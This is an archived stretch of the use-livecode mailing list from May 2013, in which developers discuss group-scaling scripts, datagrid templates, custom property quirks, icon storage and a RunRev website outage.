Temporary Website Outage Expected In-Reply-To: References: <0A39F3DF-7B82-4E8D-A698-359889219FA2@runrev.com> <1368217859350-4664682.post@n4.nabble.com> Message-ID: <1368218715593-4664686.post@n4.nabble.com> Yeah what happened is that I just noticed INTERACHY can no more access, and answer "can't determine IP address of server". I got used to it so practical to save back on to the server! But the less practical on-rev FTP program works fine so far, as well as the revIgniter service that sits over there. Thanks for the precision! Robert -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Temporary-Website-Outage-Expected-tp4664658p4664686.html Sent from the Revolution - User mailing list archive at Nabble.com. From lc at pbh.on-rev.com Fri May 10 17:11:25 2013 From: lc at pbh.on-rev.com (Paul Hibbert) Date: Fri, 10 May 2013 14:11:25 -0700 Subject: Drag and Drop In-Reply-To: <9445490C-F2FD-40D6-9AAD-53A7132F25E0@LinkIt.Com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> <518C49E7.7080704@hyperactivesw.com> <1368201358010-4664662.post@n4.nabble.com> <9445490C-F2FD-40D6-9AAD-53A7132F25E0@LinkIt.Com> Message-ID: On 2013-05-10, at 9:17 AM, Ray Horsley wrote: > Have you tried really slowly dragging a file onto a stack window from the desktop to see if it changes to the circle with a line through it even though you've got this in your card's script: > > on dragEnter > set the dragAction to "copy" > end dragEnter I have tried, and didn't see any unexpected behaviour. I see the circle with a line through it when the target is not a valid drop zone, then as soon as the cursor is over a valid drop zone it changes to a green circle with a plus sign. Here's a link to my test stack if it's any help? https://www.dropbox.com/s/ca3gz164heracds/Image%20Viewer.livecode Paul From scott at tactilemedia.com Fri May 10 17:21:18 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Fri, 10 May 2013 14:21:18 -0700 Subject: Drag and Drop Message-ID: <6f6xcv7v9i7pb3bq8yli08ru.1368220878266@email.android.com> Yup. ?Must have been other mouse messages/functions that were tried. ?It used to be way back that folks would create drag routines that relied on the state of the mouse. ?But mouse polling was deemed as quite inefficient, and was unreliable. ?IIRC, this is? why the grab command was created. ?Of course, things have changed a lot in LiveCode. As I said, if it works for you, great. Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design -------- Original message -------- Subject: Re: Drag and Drop From: Richmond To: How to use LiveCode CC: null From scott at tactilemedia.com Fri May 10 17:34:59 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Fri, 10 May 2013 14:34:59 -0700 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects In-Reply-To: Message-ID: Hi Geoff: What I like most about your routine is no need for using the boundingRect. And you're right, one needs to store all the original geometry for continual resizing (at least, that's what I do). I've also come across what is apparently a scaling limitation (bug?) that affects scaling of a control from it's center. If a control is continually resized relative its loc, LiveCode will eventually "see" the loc of the control as 1 pixel less than what it was and shift the control's position, most likely due to the rounding you noted. Hopefully, RunRev's introduction of the shape object and sub pixel positioning will minimize these scaling problems. Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/10/13 1:23 PM, "Geoff Canyon" wrote: >Hi Scott, > >I tried to simplify this and make it so that each control is adjusted in >one step. This also optionally take different scaling factors for >horizontal and vertical. Let me know if I missed anything. I'm not sure >what everyone was seeing with resizing the group affecting the objects in >it -- I'm not seeing that as far as I can tell. > >All the implementations shown so far are losing fidelity due to rounding. >If anyone is going to repeatedly resize groups/objects like this, it would >make sense to store the original rects as a separate property, and always >start from there. If the resizing needs to be cumulative, then I'd store >the cumulative resizing factor as a property of the group, then when >resizing multiply that by the new/additional factor before applying that >to >the stored rects to set the sizes. > >Once we have open language, I'm so looking forward to being able to say >something like: > > set the rect of every control of G to >integerRect(shiftRect(scaleRect(shiftRect((the rect of >it),-L,-T),H,V),L,T)) > >gc > > >command scaleGroup G,H,V > if V is empty then put H into V > put the left of G into L > put the top of G into T > put shiftRect(scaleRect(shiftRect((the rect of G),-L,-T),H,V),L,T) >into R > repeat with N = 1 to number of controls of G > set the rect of control N of G to >integerRect(shiftRect(scaleRect(shiftRect((the rect of control N of >G),-L,-T),H,V),L,T)) > end repeat > set the margins of G to scaleRect((the margins of G),H,V) > set the rect of G to R >end scaleGroup > >function scaleRect R,H,V > if V is empty then put H into V > return (H * item 1 of R),(V * item 2 of R),(H * item 3 of R),(V * item >4 >of R) >end scaleRect > >function shiftRect R,H,V > if V is empty then put H into V > return (H + item 1 of R),(V + item 2 of R),(H + item 3 of R),(V + item >4 >of R) >end shiftRect > >function integerRect R > return round(item 1 of R),round(item 2 of R),round(item 3 of >R),round(item 4 of R) >end integerRect > > >On Fri, May 10, 2013 at 7:00 AM, Thomas McGrath III >wrote: > >> Monte, >> >> I won't be attending this year but I will be on the simulcast so I'll >>sort >> of be there in spirit at the conference?.. >> >> Tom >> >> -- Tom McGrath III >> http://lazyriver.on-rev.com >> mcgrath3 at mac.com >> >> On May 10, 2013, at 1:15 AM, Monte Goulding >> >> wrote: >> >> > I asked this exact question on StackOverflow a couple of weeks ago and >> before I was attacked by Mark for not asking the question he answered we >> were getting somewhere... I did create solution that works by retaining >>an >> offset for the child objects to use in their resizing. >> > >> > >> >>http://stackoverflow.com/questions/16168091/how-do-you-change-the-rect-of >>-a-group-without-changing-the-location-of-the-objec/16178454#16178454 >> > >> > Anyway... all will be revealed at the conference on Tuesday >> > >> > On 10/05/2013, at 5:23 AM, Thomas McGrath III >>wrote: >> > >> >> Is there a way to resize and move a scrolling group without touching >> the inside contents of that group??? This is on mobile and I need to >>resize >> a scrolling group based on the position of the UI (navbar and toolbar >>when >> in portrait and landscape) when the UI changes and then after the >>scrolling >> group is right I then need to separately resize the contents for retina >>if >> needed -- to double their height, width and topleft -- or regular. >> >> >> >> If I resize the group first then it moves the content and then >>doubling >> the content makes it the right size but positioned wrong. >> >> If I resize the content and then move the group then it again >>correctly >> sizes the contents but positions them wrong. >> >> >> >> If the group moves then everything is in a different position from >>when >> I laid them out in the desktop so they are off. >> >> >> >> I want the scrolling group code to be separate from the resizing code >> if possible. >> >> >> >> >> >> Thanks, >> >> >> >> Tom >> >> >> >> -- Tom McGrath III >> >> http://lazyriver.on-rev.com >> >> mcgrath3 at mac.com >> >> >> >> >> >> _______________________________________________ >> >> use-livecode mailing list >> >> use-livecode at lists.runrev.com >> >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> > -- >> > Monte Goulding >> > >> > M E R Goulding - software development services >> > mergExt - There's an external for that! >> > >> > >> > >> > >> > >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From ambassador at fourthworld.com Fri May 10 17:59:58 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 10 May 2013 14:59:58 -0700 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects In-Reply-To: References: Message-ID: <518D6DDE.9040605@fourthworld.com> Scott Rossi wrote: > Hopefully, RunRev's introduction of the shape object and sub pixel > positioning will minimize these scaling problems. That, and the dynamic scaling Kickstarter stretch goal. Oh, how I pray that will be implemented not just for cards, but also for groups.... -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From pete at lcsql.com Fri May 10 19:02:03 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 10 May 2013 16:02:03 -0700 Subject: Data Grid Question In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> <1368132998.44907.YahooMailRC@web181406.mail.ne1.yahoo.com> <1368216958.63280.YahooMailRC@web181401.mail.ne1.yahoo.com> Message-ID: I think I've seen this issue when, somehow or other, the template for the datagrid doesn't exist. Tables still work fine without a template until you want to customize a column like this. Check out the dgProps["row template"] property to get the long id of the row template and make sure it exists. If it doesn't, you'll probably have to delete the datagird, being sure to confirm that you want to delete its template, and start with a new datagrid. Pete lcSQL Software On Fri, May 10, 2013 at 1:23 PM, Mike Bonner wrote: > It still won't let you add a custom column template for that column and > then edit the column behavior? The link I sent at the very first is the > way to get it done, but if its not letting you set up the custom column and > behavior script for that column i'm not sure how to fix it. > > Feel like sending the stack so I can look at it? Preferably with an > example of the data involved? > > If there is already a custom column template made for that column, it won't > let you create one again, but you should still be able to get into the > behavior script for it. (columns tab in the inspector, near the bottom) > > > On Fri, May 10, 2013 at 2:15 PM, Joe Hamburger wrote: > > > Hi Again Mike, > > > > Yes, my datagrid is loading properly since I didn't lock messages. > > However, I > > still can't change the column behavior so the "Rank" column doesn't > > change. Is > > there a script I can use to load that column after each sort without > > changing > > the other data? Sorry to be such a pest. > > > > Joe > > > > > > > > ________________________________ > > From: Mike Bonner > > To: How to use LiveCode > > Sent: Thu, May 9, 2013 10:49:08 PM > > Subject: Re: Data Grid Question > > > > If you have everything working correctly now, no reason to remove the > > preferences file, but if you need to for some other reason its name is > > livecode.rev On mac its (I think) in > > /Users/yourUsername/Library/Preferences/RunRev/ > > > > In windows somewhere around here: > C:\Users\username\AppData\Roaming\RunRev\ > > Preferences\livecode.rev > > > > In linux its probably in a .folder in the users home directory. > > > > Sometimes wiping out the prefs does help. Sometimes not. > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription > > preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Fri May 10 19:08:22 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 10 May 2013 16:08:22 -0700 Subject: customPropertySets In-Reply-To: References: Message-ID: I think "undesirable" is a good way to put it. I am working round it but, as usual, it's not quite as simple as it might seem :-( Here's another little oddity. The Inspector palette for an object happily lets me add a property to customkeys with spaces in its name, or any other special character for that matter. Problem is, there's no way to get the value of such a property by referencing it with "the of ...." Putting the name in such a statement with no quotes around it gets a compile error and putting quotes around it gets a runtime error. Only way you can do it is put the customproperties of the object into a variable, then reference the resulting array with the property name as a key. On the other hand, you can add a property with special chars to a named custom property set and access it quite happily with, for example, the dgProps["row template"]. Pretty inconsistent, wouldn't you say? Pete lcSQL Software On Fri, May 10, 2013 at 11:15 AM, Mark Wieder wrote: > Peter Haworth writes: > > > Bug? > > Well, I think it's undesirable and there are several "fixed" bugs in the > database (8186, 8501, etc.) dealing with this situation. It's not quite a > bug because it's documented behavior. > > There are reserved keywords for built-in things that you can't override > (groups don't have a "style" property), although there's a movement afoot > to > allow this to happen (and you chimed in on the discussion several times now > on the forum). Stay tuned. Meanwhile, you can say > > get the dgProps["style"] of group "Datagrid 1" > > to get what you want. > > -- > Mark Wieder > mwieder at ahsoftware.net > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Fri May 10 20:21:59 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Sat, 11 May 2013 00:21:59 +0000 (UTC) Subject: customPropertySets References: Message-ID: Peter Haworth writes: > Pretty inconsistent, wouldn't you say? Oh, it gets worse. You can also insert commas into the property name, and this isn't likely to change because the IDE uses this "feature". -- Mark Wieder mwieder at ahsoftware.net From pete at lcsql.com Fri May 10 20:33:36 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 10 May 2013 17:33:36 -0700 Subject: customPropertySets In-Reply-To: References: Message-ID: RIght, I saw that when looking at some Livecode Preference settings. I assume that was done in the days before arrays were possible in custom properties and they never changed it when arrays became possible. I guess a lot of this stuff doesn't cause any grief to people who are developing "normal" applications, only to clowns like me who insist on digging into the guts of the IDE! Pete lcSQL Software On Fri, May 10, 2013 at 5:21 PM, Mark Wieder wrote: > Peter Haworth writes: > > > Pretty inconsistent, wouldn't you say? > > Oh, it gets worse. You can also insert commas into the property name, and > this isn't likely to change because the IDE uses this "feature". > > -- > Mark Wieder > mwieder at ahsoftware.net > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From slylabs13 at me.com Fri May 10 20:39:02 2013 From: slylabs13 at me.com (Robert Sneidar) Date: Fri, 10 May 2013 17:39:02 -0700 Subject: Temporary Website Outage Expected In-Reply-To: <0A39F3DF-7B82-4E8D-A698-359889219FA2@runrev.com> References: <0A39F3DF-7B82-4E8D-A698-359889219FA2@runrev.com> Message-ID: I always expect outages. That way I'm never disappointed ;-) Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 10, 2013, at 7:50, Heather Laine wrote: > Dear List Members, > > Just to let you know that we are doing some planned engineering works on our website over the next few days. We expect the main website to be offline between Saturday and Tuesday. This will also affect the forums, which will be inaccessible during that period, and mail sent to support. This list should be unaffected. The on-rev website is also expected to be offline, hosting services themselves will be unaffected. > > We apologise for any inconvenience. Please bear with us while we make these necessary, exciting, and ultimately beneficial changes. > > Warm Regards, > > Heather > > Heather Laine > Customer Services Manager > http://www.runrev.com/ > > > > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From irog at mac.com Fri May 10 20:47:34 2013 From: irog at mac.com (Roger Guay) Date: Fri, 10 May 2013 17:47:34 -0700 Subject: Best Practice for Storing Icon Images In-Reply-To: <1368108770.10779.YahooMailNeo@web28802.mail.ir2.yahoo.com> References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> <51898E9E.4030803@hyperactivesw.com> <1368006174.27886.YahooMailNeo@web28801.mail.ir2.yahoo.com> <1368107182977-4664566.post@n4.nabble.com> <1368108770.10779.YahooMailNeo@web28802.mail.ir2.yahoo.com> Message-ID: Is there a best practice or recommendation for storing icon images? Invisible on the same card? Off screen on the same card? Special "storage" card? Or? Thanks Roger From lvhdgc7 at gmail.com Fri May 10 20:50:28 2013 From: lvhdgc7 at gmail.com (tbodine) Date: Fri, 10 May 2013 17:50:28 -0700 (PDT) Subject: How to copy a file so it creates missing folders in the path In-Reply-To: <518D35DC.2090500@fourthworld.com> References: <1368142742092-4664628.post@n4.nabble.com> <518D35DC.2090500@fourthworld.com> Message-ID: <1368233428824-4664697.post@n4.nabble.com> Handy code! Thanks! For anyone else searching this matter, there's one more quirk to know. On MacOS 10.7, 8 and ?, the user's Library folder is hidden. So if you want to see for yourself that preference files were properly created, you have to reveal that hidden folder. Here's how: In the Finder, use the menu bar to select Go menu and then hold down the Option key. This will reveal "Library" on the menu. Once you select and open that, you'll see subfolders including "Preferences". -- Tom Bodine -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/How-to-copy-a-file-so-it-creates-missing-folders-in-the-path-tp4664628p4664697.html Sent from the Revolution - User mailing list archive at Nabble.com. From ambassador at fourthworld.com Fri May 10 21:07:10 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 10 May 2013 18:07:10 -0700 Subject: Best Practice for Storing Icon Images In-Reply-To: References: Message-ID: <518D99BE.5080303@fourthworld.com> Roger Guay wrote: > Is there a best practice or recommendation for storing icon images? > Invisible on the same card? Off screen on the same card? Special > "storage" card? Or? Well, I don't know about "best", but I'll tell you what I do: Most of my apps have a substack named "RSRC", e.g., "WebMergeRSRC", and that's where I store images and other odds and ends I need for the app. I use the "*RSRC" identifier only because it readable enough to remind me what it is yet stands out from other names in the stack list. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From mcgrath3 at mac.com Fri May 10 22:01:11 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Fri, 10 May 2013 22:01:11 -0400 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects In-Reply-To: References: <4691CFFD-373A-4DFA-98F2-F34AEE174FEB@sweattechnologies.com> Message-ID: Geoff, What you state here about the rounding is exactly what I have been seeing and your suggestion that one should always start from the stored original sizes and attributes when cumulative resizes or back to back resizes are needed is the only solution so far that I believe will work for this. I will be testing your script tomorrow. tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 10, 2013, at 4:23 PM, Geoff Canyon wrote: > Hi Scott, > > I tried to simplify this and make it so that each control is adjusted in > one step. This also optionally take different scaling factors for > horizontal and vertical. Let me know if I missed anything. I'm not sure > what everyone was seeing with resizing the group affecting the objects in > it -- I'm not seeing that as far as I can tell. > > All the implementations shown so far are losing fidelity due to rounding. > If anyone is going to repeatedly resize groups/objects like this, it would > make sense to store the original rects as a separate property, and always > start from there. If the resizing needs to be cumulative, then I'd store > the cumulative resizing factor as a property of the group, then when > resizing multiply that by the new/additional factor before applying that to > the stored rects to set the sizes. > > Once we have open language, I'm so looking forward to being able to say > something like: > > set the rect of every control of G to > integerRect(shiftRect(scaleRect(shiftRect((the rect of it),-L,-T),H,V),L,T)) > > gc > > > command scaleGroup G,H,V > if V is empty then put H into V > put the left of G into L > put the top of G into T > put shiftRect(scaleRect(shiftRect((the rect of G),-L,-T),H,V),L,T) into R > repeat with N = 1 to number of controls of G > set the rect of control N of G to > integerRect(shiftRect(scaleRect(shiftRect((the rect of control N of > G),-L,-T),H,V),L,T)) > end repeat > set the margins of G to scaleRect((the margins of G),H,V) > set the rect of G to R > end scaleGroup > > function scaleRect R,H,V > if V is empty then put H into V > return (H * item 1 of R),(V * item 2 of R),(H * item 3 of R),(V * item 4 > of R) > end scaleRect > > function shiftRect R,H,V > if V is empty then put H into V > return (H + item 1 of R),(V + item 2 of R),(H + item 3 of R),(V + item 4 > of R) > end shiftRect > > function integerRect R > return round(item 1 of R),round(item 2 of R),round(item 3 of > R),round(item 4 of R) > end integerRect > > > On Fri, May 10, 2013 at 7:00 AM, Thomas McGrath III wrote: > >> Monte, >> >> I won't be attending this year but I will be on the simulcast so I'll sort >> of be there in spirit at the conference?.. >> >> Tom >> >> -- Tom McGrath III >> http://lazyriver.on-rev.com >> mcgrath3 at mac.com >> >> On May 10, 2013, at 1:15 AM, Monte Goulding >> wrote: >> >>> I asked this exact question on StackOverflow a couple of weeks ago and >> before I was attacked by Mark for not asking the question he answered we >> were getting somewhere... I did create solution that works by retaining an >> offset for the child objects to use in their resizing. >>> >>> >> http://stackoverflow.com/questions/16168091/how-do-you-change-the-rect-of-a-group-without-changing-the-location-of-the-objec/16178454#16178454 >>> >>> Anyway... all will be revealed at the conference on Tuesday >>> >>> On 10/05/2013, at 5:23 AM, Thomas McGrath III wrote: >>> >>>> Is there a way to resize and move a scrolling group without touching >> the inside contents of that group??? This is on mobile and I need to resize >> a scrolling group based on the position of the UI (navbar and toolbar when >> in portrait and landscape) when the UI changes and then after the scrolling >> group is right I then need to separately resize the contents for retina if >> needed -- to double their height, width and topleft -- or regular. >>>> >>>> If I resize the group first then it moves the content and then doubling >> the content makes it the right size but positioned wrong. >>>> If I resize the content and then move the group then it again correctly >> sizes the contents but positions them wrong. >>>> >>>> If the group moves then everything is in a different position from when >> I laid them out in the desktop so they are off. >>>> >>>> I want the scrolling group code to be separate from the resizing code >> if possible. >>>> >>>> >>>> Thanks, >>>> >>>> Tom >>>> >>>> -- Tom McGrath III >>>> http://lazyriver.on-rev.com >>>> mcgrath3 at mac.com >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> -- >>> Monte Goulding >>> >>> M E R Goulding - software development services >>> mergExt - There's an external for that! >>> >>> >>> >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Fri May 10 22:11:10 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 10 May 2013 19:11:10 -0700 Subject: ID caching: how to test? Message-ID: <518DA8BE.5080804@fourthworld.com> The Release Notes for v6 include: ID caching (6.0 DP 2) New global property ? allowDatagramBroadcasts (6.0 DP 2) A new global property allowDatagramBroadcasts has been added. This needs to be set to true before sending to a broadcast address (enables the per-socket flag for whether they are allowed). The engine now caches lookups of control references of the form ?card id ...? and ?control id ...?. This speeds up any access using those forms after the first time, turning an operation that would be completed in linear time into one that will be completed in constant time. I'm not clear on the syntax, so I've been unable to benchmark the performance boost. Anyone here have a sample of ID caching in action? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From jacque at hyperactivesw.com Fri May 10 23:55:37 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 10 May 2013 22:55:37 -0500 Subject: Best Practice for Storing Icon Images In-Reply-To: References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> <51898E9E.4030803@hyperactivesw.com> <1368006174.27886.YahooMailNeo@web28801.mail.ir2.yahoo.com> <1368107182977-4664566.post@n4.nabble.com> <1368108770.10779.YahooMailNeo@web28802.mail.ir2.yahoo.com> Message-ID: <518DC139.1060705@hyperactivesw.com> On 5/10/13 7:47 PM, Roger Guay wrote: > Is there a best practice or recommendation for storing icon images? > Invisible on the same card? Off screen on the same card? Special > "storage" card? Or? I think it depends on the app or stack you're making. If I only have a few icon images, I usually just hide them on a card. If I have a lot and I want to keep them all in a central location in the same stack, I sometimes use an unplaced group. Substacks are a good option too, since you can always see what's in there without having to fiddle with invisible groups. If navigation isn't an issue and an extra card won't get in the way, I sometimes just put a resources card in the back of the stack somewhere. In my current project we're using a splash stack for the app and it loads a lot of other document stacks. Since all the "loose" stacks use the same icons, I'm storing them all in the splash. Memory usage will be the same regardless, so it mostly depends on how your stack structure works. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Sat May 11 00:07:38 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 10 May 2013 23:07:38 -0500 Subject: ID caching: how to test? In-Reply-To: <518DA8BE.5080804@fourthworld.com> References: <518DA8BE.5080804@fourthworld.com> Message-ID: <518DC40A.8080502@hyperactivesw.com> On 5/10/13 9:11 PM, Richard Gaskin wrote: > The Release Notes for v6 include: > > ID caching (6.0 DP 2) > New global property ? allowDatagramBroadcasts (6.0 DP 2) > A new global property allowDatagramBroadcasts has been added. This > needs to be set to true before sending to a broadcast address > (enables the per-socket flag for whether they are allowed). > The engine now caches lookups of control references of the form > ?card id ...? and ?control id ...?. > This speeds up any access using those forms after the first time, > turning an operation that would be completed in linear time into > one that will be completed in constant time. > > > I'm not clear on the syntax, so I've been unable to benchmark the > performance boost. I think the datagram stuff and the image caching are two different things (if it's in the docs that way, it looks like a misplaced heading to me.) The image caching just happens automatically. Benchmarking would involve timing a procedure in 5.5.4 and then repeating it in 6.0.1 to see the difference. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From irog at mac.com Sat May 11 00:24:52 2013 From: irog at mac.com (Roger Guay) Date: Fri, 10 May 2013 21:24:52 -0700 Subject: Best Practice for Storing Icon Images In-Reply-To: <518DC139.1060705@hyperactivesw.com> References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> <51898E9E.4030803@hyperactivesw.com> <1368006174.27886.YahooMailNeo@web28801.mail.ir2.yahoo.com> <1368107182977-4664566.post@n4.nabble.com> <1368108770.10779.YahooMailNeo@web28802.mail.ir2.yahoo.com> <518DC139.1060705@hyperactivesw.com> Message-ID: <65CE969F-C3A6-4BC9-B848-A3F52CF3266F@mac.com> Thanks, Jacque and Richard! On May 10, 2013, at 8:55 PM, J. Landman Gay wrote: > On 5/10/13 7:47 PM, Roger Guay wrote: >> Is there a best practice or recommendation for storing icon images? >> Invisible on the same card? Off screen on the same card? Special >> "storage" card? Or? > > I think it depends on the app or stack you're making. If I only have a few icon images, I usually just hide them on a card. If I have a lot and I want to keep them all in a central location in the same stack, I sometimes use an unplaced group. Substacks are a good option too, since you can always see what's in there without having to fiddle with invisible groups. If navigation isn't an issue and an extra card won't get in the way, I sometimes just put a resources card in the back of the stack somewhere. In my current project we're using a splash stack for the app and it loads a lot of other document stacks. Since all the "loose" stacks use the same icons, I'm storing them all in the splash. > > Memory usage will be the same regardless, so it mostly depends on how your stack structure works. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From monte at sweattechnologies.com Sat May 11 01:11:02 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Sat, 11 May 2013 15:11:02 +1000 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects In-Reply-To: References: <4691CFFD-373A-4DFA-98F2-F34AEE174FEB@sweattechnologies.com> Message-ID: <458064F3-232A-433F-9B21-E591B09A69F0@sweattechnologies.com> On 11/05/2013, at 12:01 PM, Thomas McGrath III wrote: > What you state here about the rounding is exactly what I have been seeing and your suggestion that one should always start from the stored original sizes and attributes when cumulative resizes or back to back resizes are needed is the only solution so far that I believe will work for this. There is a simpler solution than storing the original sizes if I'm right in assuming that you only require this scaling to be done to handle pixel density (retina etc). The simple solution is to only scale on the device andalways work in standard res. That way you aren't scaling your stack up and down during development. If the scaling is being done right there's no need. That's the way I've gone with mApp... KISS. Every solution that I've ever seen that stores the original sizes usually ends causing headaches when you change any layout. Anyway... back to work on my presentation... I added a feature and now I need to redo half the slides... Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From ambassador at fourthworld.com Sat May 11 01:22:37 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 10 May 2013 22:22:37 -0700 Subject: skip lists Message-ID: <518DD59D.50902@fourthworld.com> Anyone here had occasion to implement a skip list in an xTalk? If so, any code you can share, or tips? -- Richard Gaskin Fourth World Systems ____________________________________________________________ Ambassador at FourthWorld.com http://www.FourthWorld.com From richmondmathewson at gmail.com Sat May 11 02:46:45 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 11 May 2013 09:46:45 +0300 Subject: Drag and Drop In-Reply-To: <1368217057081-4664677.post@n4.nabble.com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <518D52C9.1080202@gmail.com> <1368217057081-4664677.post@n4.nabble.com> Message-ID: <518DE955.5030309@gmail.com> On 05/10/2013 11:17 PM, Alejandro Tejada wrote: > Hi Richmmond, > > > Richmond Mathewson-2 wrote >> [snip] >> So I don't know where you got the idea that this used not to work: >> [snip] > mouseStillDown is not mentioned in this article: > http://www.hyperactivesw.com/resources_polling.html > > Why? Because RR/LC documentation has always been inadequate. As a result I gave up reading it and started thinking for myself. But, then, I have never been a great one for following other people's dialectics. Richmond. > > Al > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/Drag-and-Drop-tp4664563p4664677.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Sat May 11 07:55:41 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 11 May 2013 14:55:41 +0300 Subject: [VR] MS Windows 8 Message-ID: <518E31BD.8030509@gmail.com> [VR] = Vaguely Relevant http://www.bbc.co.uk/news/technology-22439496 Richmond. From david at scimatch.org Sat May 11 08:13:20 2013 From: david at scimatch.org (David Bovill) Date: Sat, 11 May 2013 13:13:20 +0100 Subject: Oval framed photo 